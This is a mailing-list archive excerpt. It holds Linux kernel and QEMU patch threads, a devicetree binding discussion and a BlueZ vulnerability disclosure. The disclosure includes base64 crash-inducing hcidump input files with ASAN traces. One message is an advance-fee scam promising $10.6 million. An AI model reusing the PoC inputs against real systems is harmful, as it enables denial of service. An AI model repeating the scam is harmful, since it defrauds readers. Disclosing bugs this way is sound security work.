>>> +static void hibmc_kms_fini(struct hibmc_drm_device *hidev)
>>> +{
>>> + if (hidev->mode_config_initialized) {
>>> + drm_mode_config_cleanup(hidev->dev);
>>> + hidev->mode_config_initialized = false;
>>> + }
>>> +}
>>> +
>>> static int hibmc_hw_config(struct hibmc_drm_device *hidev)
>>> {
>>> unsigned int reg;
>>> @@ -183,6 +222,7 @@ static int hibmc_unload(struct drm_device *dev)
>>> struct hibmc_drm_device *hidev = dev->dev_private;
>>>
>>> hibmc_fbdev_fini(hidev);
>>> + hibmc_kms_fini(hidev);
>>> hibmc_mm_fini(hidev);
>>> hibmc_hw_fini(hidev);
>>> dev->dev_private = NULL;
>>> @@ -208,6 +248,13 @@ static int hibmc_load(struct drm_device *dev,
>>> unsigned long flags)
>>> if (ret)
>>> goto err;
>>>
>>> + ret = hibmc_kms_init(hidev);
>>> + if (ret)
>>> + goto err;
>>> +
>>> + /* reset all the states of crtc/plane/encoder/connector */
>>> + drm_mode_config_reset(dev);
>>> +
>>> ret = hibmc_fbdev_init(hidev);
>>> if (ret)
>>> goto err;
>>> diff --git a/drivers/gpu/drm/hisilicon/hibmc/hibmc_drm_drv.h
>>> b/drivers/gpu/drm/hisilicon/hibmc/hibmc_drm_drv.h
>>> index a40e9a7..49e39d2 100644
>>> --- a/drivers/gpu/drm/hisilicon/hibmc/hibmc_drm_drv.h
>>> +++ b/drivers/gpu/drm/hisilicon/hibmc/hibmc_drm_drv.h
>>> @@ -45,6 +45,8 @@ struct hibmc_drm_device {
>>>
>>> /* drm */
>>> struct drm_device *dev;
>>> + struct drm_plane plane;
>>> + bool mode_config_initialized;
>>>
>>> /* ttm */
>>> struct {
>>> @@ -82,6 +84,7 @@ static inline struct hibmc_bo *gem_to_hibmc_bo(struct
>>> drm_gem_object *gem)
>>>
>>> #define DRM_FILE_PAGE_OFFSET (0x100000000ULL >> PAGE_SHIFT)
>>>
>>> +int hibmc_plane_init(struct hibmc_drm_device *hidev);
>>> int hibmc_fbdev_init(struct hibmc_drm_device *hidev);
>>> void hibmc_fbdev_fini(struct hibmc_drm_device *hidev);
>>>
>>> @@ -102,4 +105,6 @@ int hibmc_dumb_mmap_offset(struct drm_file *file,
>>> struct drm_device *dev,
>>> u32 handle, u64 *offset);
>>> int hibmc_mmap(struct file *filp, struct vm_area_struct *vma);
>>>
>>> +extern const struct drm_mode_config_funcs hibmc_mode_funcs;
>>> +
>>> #endif
>>> diff --git a/drivers/gpu/drm/hisilicon/hibmc/hibmc_ttm.c
>>> b/drivers/gpu/drm/hisilicon/hibmc/hibmc_ttm.c
>>> index 9822f62..beb4d76 100644
>>> --- a/drivers/gpu/drm/hisilicon/hibmc/hibmc_ttm.c
>>> +++ b/drivers/gpu/drm/hisilicon/hibmc/hibmc_ttm.c
>>> @@ -554,3 +554,9 @@ struct hibmc_framebuffer *
>>> }
>>> return &hibmc_fb->fb;
>>> }
>>> +
>>> +const struct drm_mode_config_funcs hibmc_mode_funcs = {
>>> + .atomic_check = drm_atomic_helper_check,
>>> + .atomic_commit = drm_atomic_helper_commit,
>>> + .fb_create = hibmc_user_framebuffer_create,
>>> +};
>>> --
>>> 1.9.1
>>>
>>>
>>> _______________________________________________
>>> linux-arm-kernel mailing list
>>> linux-arm-kernel at lists.infradead.org
>>> http://lists.infradead.org/mailman/listinfo/linux-arm-kernel
>>
>> _______________________________________________
>> linuxarm mailing list
>> linuxarm at huawei.com
>> http://rnd-openeuler.huawei.com/mailman/listinfo/linuxarm
>>
>> .
>>
>
> _______________________________________________
> linux-arm-kernel mailing list
> linux-arm-kernel at lists.infradead.org
> http://lists.infradead.org/mailman/listinfo/linux-arm-kernel
^ permalink raw reply
* Re: [Qemu-devel] [PULL v2 0/9] Ide patches
From: Stefan Hajnoczi @ 2016-11-14 17:08 UTC (permalink / raw)
To: John Snow; +Cc: qemu-devel, peter.maydell
In-Reply-To: <1479140746-22142-1-git-send-email-jsnow@redhat.com>
[-- Attachment #1: Type: text/plain, Size: 1743 bytes --]
On Mon, Nov 14, 2016 at 11:25:37AM -0500, John Snow wrote:
> The following changes since commit 83c83f9a5266ff113060f887f106a47920fa6974:
>
> Merge remote-tracking branch 'bonzini/tags/for-upstream' into staging (2016-11-11 12:51:50 +0000)
>
> are available in the git repository at:
>
> https://github.com/jnsnow/qemu.git tags/ide-pull-request
>
> for you to fetch changes up to 22381d4180fa71614ad195b54fe81e0ffb77b01e:
>
> ahci-test: add QMP tray test for ATAPI (2016-11-14 11:15:55 -0500)
>
> ----------------------------------------------------------------
>
> v2: Rebase, add Kevin's RBs and fix line length in two places.
>
> ----------------------------------------------------------------
>
> John Snow (9):
> atapi: classify read_cd as conditionally returning data
> ahci-test: Create smaller test ISO images
> ahci-test: test atapi read_cd with bcl, nb_sectors = 0
> block-backend: Always notify on blk_eject
> libqtest: add qmp_eventwait_ref
> libqos/ahci: Support expected errors
> libqos/ahci: Add ATAPI tray macros
> libqos/ahci: Add get_sense and test_ready
> ahci-test: add QMP tray test for ATAPI
>
> block/block-backend.c | 13 ++---
> hw/ide/atapi.c | 51 +++++++++++++++----
> tests/ahci-test.c | 137 +++++++++++++++++++++++++++++++++++++++++++++++---
> tests/libqos/ahci.c | 124 +++++++++++++++++++++++++++++++++++++++++----
> tests/libqos/ahci.h | 42 ++++++++++++----
> tests/libqtest.c | 13 +++--
> tests/libqtest.h | 22 ++++++++
> 7 files changed, 354 insertions(+), 48 deletions(-)
>
> --
> 2.7.4
>
>
Thanks, applied to my staging tree:
https://github.com/stefanha/qemu/commits/staging
Stefan
[-- Attachment #2: signature.asc --]
[-- Type: application/pgp-signature, Size: 455 bytes --]
^ permalink raw reply
* Assalamu`Alaikum.
From: mohammad ouattara @ 2016-11-14 17:00 UTC (permalink / raw)
In-Reply-To: <1854474938.4647011.1479142846322.ref@mail.yahoo.com>
Dear Sir/Madam.
Assalamu`Alaikum.
I am Dr mohammad ouattara, I have ($10.6 Million us dollars) to transfer into your account,
I will send you more details about this deal and the procedures to follow when I receive a positive response from you,
Have a great day,
Dr mohammad ouattara.
^ permalink raw reply
* [PATCH 01/30] usb: dwc2: Deprecate g-use-dma binding
From: Rob Herring @ 2016-11-14 17:07 UTC (permalink / raw)
To: linux-arm-kernel
In-Reply-To: <6e90b835-73b1-3970-24a4-eab72381b469@synopsys.com>
On Tue, Nov 08, 2016 at 09:48:03AM -0800, John Youn wrote:
> On 11/8/2016 1:12 AM, Felipe Balbi wrote:
> >
> > Hi,
> >
> > John Youn <johnyoun@synopsys.com> writes:
> >> Add a vendor prefix and make the name more consistent by renaming it to
> >> "snps,gadget-dma-enable".
> >>
> >> Signed-off-by: John Youn <johnyoun@synopsys.com>
> >> ---
> >> Documentation/devicetree/bindings/usb/dwc2.txt | 5 ++++-
> >> arch/arm/boot/dts/rk3036.dtsi | 2 +-
> >> arch/arm/boot/dts/rk3288.dtsi | 2 +-
> >> arch/arm/boot/dts/rk3xxx.dtsi | 2 +-
> >> arch/arm64/boot/dts/hisilicon/hi6220.dtsi | 2 +-
> >> arch/arm64/boot/dts/rockchip/rk3368.dtsi | 2 +-
> >> drivers/usb/dwc2/params.c | 9 ++++++++-
> >> drivers/usb/dwc2/pci.c | 2 +-
> >> 8 files changed, 18 insertions(+), 8 deletions(-)
> >>
> >> diff --git a/Documentation/devicetree/bindings/usb/dwc2.txt b/Documentation/devicetree/bindings/usb/dwc2.txt
> >> index 9472111..389a461 100644
> >> --- a/Documentation/devicetree/bindings/usb/dwc2.txt
> >> +++ b/Documentation/devicetree/bindings/usb/dwc2.txt
> >> @@ -26,11 +26,14 @@ Refer to phy/phy-bindings.txt for generic phy consumer properties
> >> - dr_mode: shall be one of "host", "peripheral" and "otg"
> >> Refer to usb/generic.txt
> >> - snps,host-dma-disable: disable host DMA mode.
> >> -- g-use-dma: enable dma usage in gadget driver.
> >> +- snps,gadget-dma-enable: enable gadget DMA mode.
> >
> > I don't see why you even have this binding. Looking through the code,
> > you have:
> >
> > #define GHWCFG2_SLAVE_ONLY_ARCH 0
> > #define GHWCFG2_EXT_DMA_ARCH 1
> > #define GHWCFG2_INT_DMA_ARCH 2
> >
> > void dwc2_set_param_dma_enable(struct dwc2_hsotg *hsotg, int val)
> > {
> > int valid = 1;
> >
> > if (val > 0 && hsotg->hw_params.arch == GHWCFG2_SLAVE_ONLY_ARCH)
> > valid = 0;
> > if (val < 0)
> > valid = 0;
> >
> > if (!valid) {
> > if (val >= 0)
> > dev_err(hsotg->dev,
> > "%d invalid for dma_enable parameter. Check HW configuration.\n",
> > val);
> > val = hsotg->hw_params.arch != GHWCFG2_SLAVE_ONLY_ARCH;
> > dev_dbg(hsotg->dev, "Setting dma_enable to %d\n", val);
> > }
> >
> > hsotg->core_params->dma_enable = val;
> > }
> >
> > which seems to hint that DMA support is discoverable. If there is DMA,
> > why would disable it?
> >
>
> Yes that's the case and I would prefer to make it discoverable and
> enabled by default.
>
> But the legacy behavior has always been like this because DMA was
> never fully implemented in the gadget driver and it was an opt-in
> feature. Periodic support was only added recently.
>
> What do you think about enabling it by default now? I think most
> platforms already use DMA.
>
> We would still need a "disable" binding for IP validation purposes at
> least.
You can hack up your kernel for that. You may need a disable for broken
h/w perhaps.
Rob
^ permalink raw reply
* Re: [PATCH 01/30] usb: dwc2: Deprecate g-use-dma binding
From: Rob Herring @ 2016-11-14 17:07 UTC (permalink / raw)
To: John Youn
Cc: Felipe Balbi, linux-usb-u79uwXL29TY76Z2rM5mHXA,
devicetree-u79uwXL29TY76Z2rM5mHXA, Caesar Wang, Shawn Lin,
linux-rockchip-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r,
linux-arm-kernel-IAPFreCvJWM7uuMidbF8XUB+6BGkLq7r, Russell King,
Matthias Brugger, Wei Xu, Andy Yan, Mark Rutland, Will Deacon,
Catalin Marinas, Heiko Stuebner
In-Reply-To: <6e90b835-73b1-3970-24a4-eab72381b469-HKixBCOQz3hWk0Htik3J/w@public.gmane.org>
On Tue, Nov 08, 2016 at 09:48:03AM -0800, John Youn wrote:
> On 11/8/2016 1:12 AM, Felipe Balbi wrote:
> >
> > Hi,
> >
> > John Youn <johnyoun-HKixBCOQz3hWk0Htik3J/w@public.gmane.org> writes:
> >> Add a vendor prefix and make the name more consistent by renaming it to
> >> "snps,gadget-dma-enable".
> >>
> >> Signed-off-by: John Youn <johnyoun-HKixBCOQz3hWk0Htik3J/w@public.gmane.org>
> >> ---
> >> Documentation/devicetree/bindings/usb/dwc2.txt | 5 ++++-
> >> arch/arm/boot/dts/rk3036.dtsi | 2 +-
> >> arch/arm/boot/dts/rk3288.dtsi | 2 +-
> >> arch/arm/boot/dts/rk3xxx.dtsi | 2 +-
> >> arch/arm64/boot/dts/hisilicon/hi6220.dtsi | 2 +-
> >> arch/arm64/boot/dts/rockchip/rk3368.dtsi | 2 +-
> >> drivers/usb/dwc2/params.c | 9 ++++++++-
> >> drivers/usb/dwc2/pci.c | 2 +-
> >> 8 files changed, 18 insertions(+), 8 deletions(-)
> >>
> >> diff --git a/Documentation/devicetree/bindings/usb/dwc2.txt b/Documentation/devicetree/bindings/usb/dwc2.txt
> >> index 9472111..389a461 100644
> >> --- a/Documentation/devicetree/bindings/usb/dwc2.txt
> >> +++ b/Documentation/devicetree/bindings/usb/dwc2.txt
> >> @@ -26,11 +26,14 @@ Refer to phy/phy-bindings.txt for generic phy consumer properties
> >> - dr_mode: shall be one of "host", "peripheral" and "otg"
> >> Refer to usb/generic.txt
> >> - snps,host-dma-disable: disable host DMA mode.
> >> -- g-use-dma: enable dma usage in gadget driver.
> >> +- snps,gadget-dma-enable: enable gadget DMA mode.
> >
> > I don't see why you even have this binding. Looking through the code,
> > you have:
> >
> > #define GHWCFG2_SLAVE_ONLY_ARCH 0
> > #define GHWCFG2_EXT_DMA_ARCH 1
> > #define GHWCFG2_INT_DMA_ARCH 2
> >
> > void dwc2_set_param_dma_enable(struct dwc2_hsotg *hsotg, int val)
> > {
> > int valid = 1;
> >
> > if (val > 0 && hsotg->hw_params.arch == GHWCFG2_SLAVE_ONLY_ARCH)
> > valid = 0;
> > if (val < 0)
> > valid = 0;
> >
> > if (!valid) {
> > if (val >= 0)
> > dev_err(hsotg->dev,
> > "%d invalid for dma_enable parameter. Check HW configuration.\n",
> > val);
> > val = hsotg->hw_params.arch != GHWCFG2_SLAVE_ONLY_ARCH;
> > dev_dbg(hsotg->dev, "Setting dma_enable to %d\n", val);
> > }
> >
> > hsotg->core_params->dma_enable = val;
> > }
> >
> > which seems to hint that DMA support is discoverable. If there is DMA,
> > why would disable it?
> >
>
> Yes that's the case and I would prefer to make it discoverable and
> enabled by default.
>
> But the legacy behavior has always been like this because DMA was
> never fully implemented in the gadget driver and it was an opt-in
> feature. Periodic support was only added recently.
>
> What do you think about enabling it by default now? I think most
> platforms already use DMA.
>
> We would still need a "disable" binding for IP validation purposes at
> least.
You can hack up your kernel for that. You may need a disable for broken
h/w perhaps.
Rob
--
To unsubscribe from this list: send the line "unsubscribe linux-usb" in
the body of a message to majordomo-u79uwXL29TY76Z2rM5mHXA@public.gmane.org
More majordomo info at http://vger.kernel.org/majordomo-info.html
^ permalink raw reply
* [PATCH v2 2/2] mtd: nand: tango: Enable custom page accessors
From: Marc Gonzalez @ 2016-11-14 17:06 UTC (permalink / raw)
To: Boris Brezillon, Richard Weinberger; +Cc: linux-mtd, Mason, Sebastian Frias
In-Reply-To: <20161114111122.27804c4e@bbrezillon>
Enable NAND_ECC_CUSTOM_PAGE_ACCESS in tango NFC driver.
Fixup "raw" page accessors to send proper NAND commands.
Drop raw_write/raw_read return values (no longer used).
Signed-off-by: Marc Gonzalez <marc_gonzalez@sigmadesigns.com>
---
v2:
split from previous v1 patch
---
drivers/mtd/nand/tango_nand.c | 21 ++++++++++++---------
1 file changed, 12 insertions(+), 9 deletions(-)
diff --git a/drivers/mtd/nand/tango_nand.c b/drivers/mtd/nand/tango_nand.c
index fd8cf414cb2b..7ed35348993e 100644
--- a/drivers/mtd/nand/tango_nand.c
+++ b/drivers/mtd/nand/tango_nand.c
@@ -343,7 +343,7 @@ static void aux_write(struct nand_chip *chip, const u8 **buf, int len, int *pos)
* buf = | PKT_0 | ... | PKT_N |
* +-----------------+-----+-----------------+
*/
-static int raw_read(struct nand_chip *chip, u8 *buf, u8 *oob)
+static void raw_read(struct nand_chip *chip, u8 *buf, u8 *oob)
{
u8 *oob_orig = oob;
const int page_size = chip->mtd.writesize;
@@ -367,11 +367,9 @@ static int raw_read(struct nand_chip *chip, u8 *buf, u8 *oob)
aux_read(chip, &oob_orig, BBM_SIZE, &pos);
aux_read(chip, &buf, pkt_size - rem, &pos);
aux_read(chip, &oob, ecc_size, &pos);
-
- return 0;
}
-static int raw_write(struct nand_chip *chip, const u8 *buf, const u8 *oob)
+static void raw_write(struct nand_chip *chip, const u8 *buf, const u8 *oob)
{
const u8 *oob_orig = oob;
const int page_size = chip->mtd.writesize;
@@ -395,27 +393,31 @@ static int raw_write(struct nand_chip *chip, const u8 *buf, const u8 *oob)
aux_write(chip, &oob_orig, BBM_SIZE, &pos);
aux_write(chip, &buf, pkt_size - rem, &pos);
aux_write(chip, &oob, ecc_size, &pos);
-
- return 0;
}
static int tango_read_page_raw(struct mtd_info *mtd, struct nand_chip *chip,
u8 *buf, int oob_required, int page)
{
- return raw_read(chip, buf, chip->oob_poi);
+ chip->cmdfunc(mtd, NAND_CMD_READ0, 0, page);
+ raw_read(chip, buf, chip->oob_poi);
+ return 0;
}
static int tango_write_page_raw(struct mtd_info *mtd, struct nand_chip *chip,
const u8 *buf, int oob_required, int page)
{
- return raw_write(chip, buf, chip->oob_poi);
+ chip->cmdfunc(mtd, NAND_CMD_SEQIN, 0, page);
+ raw_write(chip, buf, chip->oob_poi);
+ chip->cmdfunc(mtd, NAND_CMD_PAGEPROG, -1, -1);
+ return 0;
}
static int tango_read_oob(struct mtd_info *mtd, struct nand_chip *chip,
int page)
{
chip->cmdfunc(mtd, NAND_CMD_READ0, 0, page);
- return raw_read(chip, NULL, chip->oob_poi);
+ raw_read(chip, NULL, chip->oob_poi);
+ return 0;
}
static int tango_write_oob(struct mtd_info *mtd, struct nand_chip *chip,
@@ -553,6 +555,7 @@ static int chip_init(struct device *dev, struct device_node *np)
ecc->write_page = tango_write_page;
ecc->read_oob = tango_read_oob;
ecc->write_oob = tango_write_oob;
+ ecc->options = NAND_ECC_CUSTOM_PAGE_ACCESS;
err = nand_scan_tail(mtd);
if (err)
--
2.9.0
^ permalink raw reply related
* multiple buffer overflows and out-of-bound reads
From: op7ic \x00 @ 2016-11-14 17:06 UTC (permalink / raw)
To: linux-bluetooth
[-- Attachment #1: Type: text/plain, Size: 248 bytes --]
Hello list,
I have been playing with hcidump tool recently and came across
following bugs coming from either out-of-bound reads or buffer
overflows (see attached reports).
There are couple more I`m working on and will send these later.
Cheers,
[-- Attachment #2: amp_dump_chanlist_OOB.txt --]
[-- Type: text/plain, Size: 4520 bytes --]
Machine: x86_64
OS: linux-gnu
Compiler: gcc
Compilation CFLAGS: -O0 -ggdb3 -fsanitize=address
Machine Type: x86_64-unknown-linux-gnu
BlueZ Version: 5.42
Release Status: release
Source: http://www.kernel.org/pub/linux/bluetooth/bluez-5.42.tar.xz
Description:
A out-of-bound read was identified in "amp_dump_chanlist" function in "tools/parser/amp.c" source file. This issue can be triggered by processing a corrupted dump file and will result in hcidump crash. To replicate this issue use the attached sample below and execute the following command:
./tools/hcidump -a -r <PoC File>
PoC.file base64 encoded:
IAAqBfcQ/6LNFQA0AgUgFwIXAAEAERkgAE8VAf///4AcBADrAAACANIAAAABAAA9PggAav8HAD4+
IAAp2RlAAKKA0zQ0AgAAAAEXAAEABf9WAAAAIBkFAAEQAAAANPVq/wcAPj4gACnZGUAAooDTFTQC
AAAAARcAAQAF/1YAAAAgGQIAARAAAAA09fECFw4CAAEAAH8VAADe////6EABANM9Pgj3gP8HAD4+
IAAp+BlAAKKA0xU0AgAA8wEyAAMABf9WAAAAIBkNAAEQXQAANPXxAhcOAgABAAB/FQAAAAAAAABA
AQDTPT4IAID/BwA+PiAAKfgZQACiatMnNAIAGgDTPT4IAID+/QA+PiAACvgAGR8AA9EBAD4A/wA4
GhAA
Affected code:
45 for (i = 0; i < num; i++) {
46 triplet = &chan_list->triplets[i];
47
48 p_indent(level+2, 0);
49
50 if (triplet->chans.first_channel >= 201) {
51 printf("Reg ext id %d reg class %d coverage class %d\n",
52 triplet->ext.reg_extension_id,
53 triplet->ext.reg_class,
54 triplet->ext.coverage_class);
55 } else {
56 if (triplet->chans.num_channels == 1)
57
Repeat-By:
echo <above base64> > PoC.64
base64 -d PoC.b64 > PoC.file
valgrind ./tools/hcidump -a -r PoC.file
ASAN Report (bluez needs to compiled with -fsanitize=address for this):
==27923==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60600000eff6 at pc 0x4a8615 bp 0x792d80053ec0 sp 0x792d80053eb8
READ of size 1 at 0x60600000eff6 thread T0
#0 0x4a8614 in amp_dump_chanlist tools/parser/amp.c:50
#1 0x4a8d58 in amp_assoc_dump tools/parser/amp.c:97
#2 0x492df4 in a2mp_create_req tools/parser/l2cap.c:1183
#3 0x492df4 in l2cap_parse tools/parser/l2cap.c:1382
#4 0x4a627f in l2cap_dump tools/parser/l2cap.c:1624
#5 0x479c9c in acl_dump tools/parser/hci.c:4041
#6 0x479c9c in hci_dump tools/parser/hci.c:4120
#7 0x4035d4 in parse tools/parser/parser.h:260
#8 0x4035d4 in read_dump tools/hcidump.c:425
#9 0x4035d4 in main tools/hcidump.c:810
#10 0x71c2389e7b44 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b44)
#11 0x40529e (/opt/bluez/tools/hcidump+0x40529e)
0x60600000eff6 is located 0 bytes to the right of 54-byte region [0x60600000efc0,0x60600000eff6)
allocated by thread T0 here:
#0 0x71c238dc573f in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.1+0x5473f)
#1 0x4a50e7 in l2cap_dump tools/parser/l2cap.c:1581
#2 0x1f
SUMMARY: AddressSanitizer: heap-buffer-overflow tools/parser/amp.c:50 amp_dump_chanlist
Shadow bytes around the buggy address:
0x0c0c7fff9da0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c0c7fff9db0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c0c7fff9dc0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c0c7fff9dd0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c0c7fff9de0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
=>0x0c0c7fff9df0: fa fa fa fa fa fa fa fa 00 00 00 00 00 00[06]fa
0x0c0c7fff9e00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c0c7fff9e10: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c0c7fff9e20: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c0c7fff9e30: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c0c7fff9e40: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Heap right redzone: fb
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack partial redzone: f4
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Contiguous container OOB:fc
ASan internal: fe
==27923==ABORTING
[-- Attachment #3: ba2str_OOB.txt --]
[-- Type: text/plain, Size: 5712 bytes --]
Machine: x86_64
OS: linux-gnu
Compiler: gcc
Compilation CFLAGS: -O0 -ggdb3 -fsanitize=address
Machine Type: x86_64-unknown-linux-gnu
BlueZ Version: 5.42
Release Status: release
Source: http://www.kernel.org/pub/linux/bluetooth/bluez-5.42.tar.xz
Description:
An out-of-bound read was observed in "ba2str" function in "bluetooth.c" source file. This issue can be triggered by processing a corrupted dump file and will result in hcidump crash. To replicate this issue use the attached sample below and execute the following command:
./tools/hcidump -a -r <PoC File>
PoC.file base64 encoded:
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
PhcEGjgA/+gDGj66AH8EAQASJD4+WBo+ug==
Affected code:
77 int ba2str(const bdaddr_t *ba, char *str)
78 {
79 return sprintf(str, "%2.2X:%2.2X:%2.2X:%2.2X:%2.2X:%2.2X",
80 ba->b[5], ba->b[4], ba->b[3], ba->b[2], ba->b[1], ba->b[0]);
81 }
Repeat-By:
echo <above base64> > PoC.64
base64 -d PoC.b64 > PoC.file
valgrind ./tools/hcidump -a -r PoC.file
ASAN Report (bluez needs to compiled with -fsanitize=address for this):
==19853==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x61b00001f778 at pc 0x580ae5 bp 0x7342a57f5cf0 sp 0x7342a57f5ce8
READ of size 1 at 0x61b00001f778 thread T0
#0 0x580ae4 in ba2str lib/bluetooth.c:80
#1 0x43f407 in p_ba2str tools/parser/parser.h:159
#2 0x43f407 in extended_inq_result_dump tools/parser/hci.c:3512
#3 0x481246 in event_dump tools/parser/hci.c:3963
#4 0x481246 in hci_dump tools/parser/hci.c:4116
#5 0x4035d4 in parse tools/parser/parser.h:260
#6 0x4035d4 in read_dump tools/hcidump.c:425
#7 0x4035d4 in main tools/hcidump.c:810
#8 0x72dfc0e31b44 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b44)
#9 0x40529e (/opt/bluez/tools/hcidump+0x40529e)
0x61b00001f778 is located 28 bytes to the right of 1500-byte region [0x61b00001f180,0x61b00001f75c)
allocated by thread T0 here:
#0 0x72dfc120f73f in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.1+0x5473f)
#1 0x402f12 in read_dump tools/hcidump.c:288
#2 0x402f12 in main tools/hcidump.c:810
SUMMARY: AddressSanitizer: heap-buffer-overflow lib/bluetooth.c:80 ba2str
Shadow bytes around the buggy address:
0x0c367fffbe90: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c367fffbea0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c367fffbeb0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c367fffbec0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c367fffbed0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c367fffbee0: 00 00 00 00 00 00 00 00 00 00 00 04 fa fa fa[fa]
0x0c367fffbef0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c367fffbf00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c367fffbf10: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c367fffbf20: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c367fffbf30: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Heap right redzone: fb
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack partial redzone: f4
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Contiguous container OOB:fc
ASan internal: fe
==19853==ABORTING
[-- Attachment #4: commands_dump_BO.txt --]
[-- Type: text/plain, Size: 4535 bytes --]
Machine: x86_64
OS: linux-gnu
Compiler: gcc
Compilation CFLAGS: -O0 -ggdb3 -fsanitize=address
Machine Type: x86_64-unknown-linux-gnu
BlueZ Version: 5.42
Release Status: release
Source: http://www.kernel.org/pub/linux/bluetooth/bluez-5.42.tar.xz
Description:
